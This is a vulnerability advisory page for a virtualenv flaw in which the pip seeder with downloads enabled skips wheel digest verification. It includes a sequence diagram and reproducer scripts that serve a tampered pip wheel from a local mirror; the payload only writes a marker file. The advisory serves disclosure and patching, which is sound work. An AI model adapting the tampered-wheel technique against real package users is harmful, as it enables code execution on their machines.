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CVE-2026-113717 — virtualenv

Fix: pypa/virtualenv@7babec6

CVE-2026-113717 is a CWE-494 vulnerability in virtualenv. A fix is available for virtualenv — see the affected versions and patch details below.

virtualenv: Pip seeding with download omits wheel digest verification

Also known asGHSA-cx28-75q4-x26q
Published
Updated
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Oct 23, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.

Exploitation and automatability from CISA’s SSVC triage for CVE-2026-113717.

EPSS Exploitation Probability

via FIRST.org ↗
0.3%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs21th percentile — riskier than 21% of all scored CVEsHighest risk

Probability of exploitation in the next 30 days, from FIRST.org EPSS.

Real-World Exposure

1 pkg affected
🐍virtualenv

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.

Description

Summary

The pip seeder acquires bundled wheels with download=False and lets pip access the index when --download is selected. Index candidates on that path do not pass through virtualenv's wheel digest verification.

Anthropic's OSS Scanner reported this as ANT-2026-74ALJBUF in virtualenv-20261015-005, received on 15 October 2026.

Affected area

Wheel selection by the pip seeder when downloads are enabled.

Attacker-controlled input

The pip seeder and download option must be selected. The finding concerns the default-index digest-verification policy. Explicit custom-index settings already opt out of comparison against PyPI metadata; this patch retains that policy.

Affected code

The relevant 21.14.8 source is in pip seeder.

Mechanism

With --seeder pip --download, PipInvoke.get_pip_install_cmd() first calls get_wheel(download=False), so virtualenv's download_wheel() and verify_wheel_digest() are skipped. It then lets pip install consult the configured index. An index wheel with the same package and version as the bundled wheel can be selected without virtualenv comparing its SHA-256 with PyPI metadata. The default app-data seeder takes the verification path for the same option.

Reproduction and evidence

The scanner built a local index named in pip.conf that served a modified copy of the bundled pip wheel under the same filename. In the control run, virtualenv --download env-default rejected the wheel with a digest mismatch. In the second run, adding --seeder pip produced an environment whose installed pip/__init__.py matched the index wheel; env-pip/bin/pip --version ran the added line. The reproducer checked the installed bytes and marker before reporting BUG.

Both --seeder pip and --download are needed. The report used a non-PyPI index from pip.conf and left PIP_INDEX_URL, PIP_EXTRA_INDEX_URL, and PIP_INDEX unset, so virtualenv's default-seeder PyPI comparison remained active. This does not establish index control in the default PyPI setup. The unchecked pip-seeder download path is older, while the comparison with the default seeder arose when digest verification was added in 21.7.12. PR #3430 acquires and verifies selected wheels before invoking pip with index lookup disabled.

Attack sequence

sequenceDiagram
    participant I as Index in pip.conf
    participant V as virtualenv PipInvoke
    participant P as pip install
    participant E as Seeded environment
    I->>V: serve modified pip wheel
    V->>V: get_wheel(download=False)
    V->>P: install with --download permitting index lookup
    P->>I: select same-version index wheel
    I->>E: modified pip installed without virtualenv digest check
    E->>E: later pip invocation runs added code
    Note over V,E: Default app-data seeder rejects the same digest

Reproducer files

The following files are from the scanner report for ANT-2026-74ALJBUF. They were tested against commit a857a7823c73 in the scanner image. The repro entrypoint expects companion files under /tmp/repro.d; cases that change user IDs need a disposable root-capable container. The last output line is BUG when the reported behavior occurs. These files are included as evidence and were not rerun for this advisory update.

repro

#!/usr/bin/env python3
import glob
import hashlib
import json
import os
import shutil
import subprocess
import sys
import zipfile

from virtualenv.seed.wheels.embed import get_embed_wheel

companions = "/tmp/repro.d"
work = "/tmp/repro-pip-seeder-download"
shutil.rmtree(work, ignore_errors=True)
os.makedirs(work)

# set up: the pip wheel virtualenv bundles, and PyPI's record of its sha256 (served by virtualenv_offline.py: no network)
bundled = get_embed_wheel("pip", f"{sys.version_info.major}.{sys.version_info.minor}")
pypi_sha256 = hashlib.sha256(open(bundled.path, "rb").read()).hexdigest()
pypi_release = {"filename": bundled.name, "digests": {"sha256": pypi_sha256}}
os.makedirs(f"{work}/pypi.org/pypi/pip")
with open(f"{work}/pypi.org/pypi/pip/json", "w") as pypi_json:
    json.dump({"releases": {bundled.version: [pypi_release]}}, pypi_json)

# attacker: the mirror serves other bytes under the bundled wheel's own file name
marker = f"{work}/MIRROR_CODE_RAN"
subprocess.run([sys.executable, f"{companions}/make_mirror.py", str(bundled.path), f"{work}/mirror", marker], check=True)
mirror_wheel = f"{work}/mirror/pip/{bundled.name}"
mirror_sha256 = hashlib.sha256(open(mirror_wheel, "rb").read()).hexdigest()
print(f"{bundled.name}: PyPI publishes sha256 {pypi_sha256}")
print(f"{bundled.name}: the mirror serves  sha256 {mirror_sha256}")

# user: pip.conf names the mirror; PIP_INDEX_URL, PIP_EXTRA_INDEX_URL and PIP_INDEX (which turn the check off) are unset
with open(f"{work}/pip.conf", "w") as pip_conf:
    pip_conf.write(f"[global]\nindex-url = file://{work}/mirror\n")  # file:// stands in for the mirror's http URL
os.makedirs(f"{work}/home-default")
os.makedirs(f"{work}/home-pip")  # one HOME per run, so neither sees the other's app-data or pip cache
virtualenv = [sys.executable, f"{companions}/virtualenv_offline.py", f"{work}/pypi.org", "--no-periodic-update"]

# control: the default seeder with --download fetches the mirror's wheel and refuses it
default_seeder = subprocess.run(
    [*virtualenv, "--download", f"{work}/env-default"],
    env={**os.environ, "HOME": f"{work}/home-default", "PIP_CONFIG_FILE": f"{work}/pip.conf"},
    capture_output=True,
    text=True,
)
refusal = [line for line in default_seeder.stdout.splitlines() if line.startswith("RuntimeError: ")]
print(f"\nCONTROL  virtualenv --download env-default: exit {default_seeder.returncode}")
print("\n".join(refusal))

# trigger: the same command plus --seeder pip
pip_seeder = subprocess.run(
    [*virtualenv, "--download", "--seeder", "pip", f"{work}/env-pip"],
    env={**os.environ, "HOME": f"{work}/home-pip", "PIP_CONFIG_FILE": f"{work}/pip.conf"},
    capture_output=True,
    text=True,
)
print(f"\nOBSERVED virtualenv --download --seeder pip env-pip: exit {pip_seeder.returncode}")
print(pip_seeder.stdout)
if pip_seeder.returncode == 0:
    env_pip = subprocess.run([f"{work}/env-pip/bin/pip", "--version"], capture_output=True, text=True, check=True)
    print(f"$ env-pip/bin/pip --version\n{env_pip.stdout}")

# check: compare env-pip's pip/__init__.py with the one in each wheel
with zipfile.ZipFile(bundled.path) as wheel:
    bundled_init = wheel.read("pip/__init__.py")
with zipfile.ZipFile(mirror_wheel) as wheel:
    mirror_init = wheel.read("pip/__init__.py")
installed = glob.glob(f"{work}/env-pip/lib/python*/site-packages/pip/__init__.py")
installed_init = open(installed[0], "rb").read() if installed else b""
refusal_message = f"has sha256 {mirror_sha256}, but PyPI reports {pypi_sha256}"
refused = default_seeder.returncode != 0 and refusal_message in default_seeder.stdout
print(f"default seeder refused the mirror's wheel for its digest: {refused}")
print(f"env-pip's pip/__init__.py is the bundled wheel's: {installed_init == bundled_init}, the mirror's: {installed_init == mirror_init}")
print(f"the mirror's line ran on env-pip/bin/pip --version: {os.path.exists(marker)}")
print("BUG" if refused and installed_init == mirror_init and os.path.exists(marker) else "OK")

repro.d/make_mirror.py

#!/usr/bin/env python3
# usage: make_mirror.py <genuine pip wheel> <mirror directory> <marker file the payload writes>
import os
import sys
import zipfile

genuine_wheel, mirror, marker = sys.argv[1:]
wheel_name = os.path.basename(genuine_wheel)
payload = f"\nopen({marker!r}, 'w').write('mirror code ran')\n"

os.makedirs(f"{mirror}/pip")
with zipfile.ZipFile(genuine_wheel) as genuine, zipfile.ZipFile(f"{mirror}/pip/{wheel_name}", "w") as served:
    for entry in genuine.infolist():
        data = genuine.read(entry)
        if entry.filename == "pip/__init__.py":
            data += payload.encode()
        served.writestr(entry, data)

# PEP 503 project page; pip reads <index>/pip/index.html for a file:// index
with open(f"{mirror}/pip/index.html", "w") as page:
    page.write(f'<a href="{wheel_name}">{wheel_name}</a>\n')

repro.d/virtualenv_offline.py

#!/usr/bin/env python3
# usage: virtualenv_offline.py <directory standing in for https://pypi.org> <virtualenv arguments...>
# The `virtualenv` command, except that the PyPI JSON API request (the source of the digest the default seeder
# checks) is answered from a local file, as tests/unit/seed/wheels/test_periodic_update.py does. pip is not touched.
import sys

from virtualenv.__main__ import run_with_catch
from virtualenv.seed.wheels import periodic_update

pypi_org = sys.argv[1]


def pypi_json_api(url, context=None):
    return open(url.replace("https://pypi.org", pypi_org), "rb")


periodic_update.urlopen = pypi_json_api
run_with_catch(sys.argv[2:])

Impact

The default-index digest-verification step can be omitted when the pip seeder downloads packages. This does not by itself defeat TLS or establish control of an index response.

Severity: low.

Versions tested

The confirmed release is 21.14.8. The affected range records that release only; it does not establish the first affected version or exclude earlier releases. Fixed in 21.14.9.

The fix acquires wheels through the shared verification path and installs pinned names with index lookup disabled. A private temporary directory contains only the selected archives. This preserves version pins in pip freeze output.

Fix: PR #3430.

Known mitigation

On older releases, use embedded wheels without downloads, or acquire and verify approved seed archives separately.

Affected release

  • The problem reproduces on virtualenv 21.14.8.

Credits

Reported by Anthropic's OSS Scanner as ANT-2026-74ALJBUF.

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐍PyPIvirtualenvall versions21.14.9pip install --upgrade 'virtualenv==21.14.9'

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for virtualenv, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update virtualenv to 21.14.9 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-113717 is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

Frequently Asked Questions

## Summary The pip seeder acquires bundled wheels with download=False and lets pip access the index when --download is selected. Index candidates on that path do not pass through virtualenv's wheel digest verification. Anthropic's OSS Scanner reported this as `ANT-2026-74ALJBUF` in `virtualenv-20261015-005`, received on 15 October 2026. ## Affected area Wheel selection by the pip seeder when downloads are enabled. ## Attacker-controlled input The pip seeder and download option must be selected. The finding concerns the default-index digest-verification policy. Explicit custom-index setti
O3 Security · Impact-Aware SCA

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CVE-2026-113717: virtualenv — Fixed in 21.14.9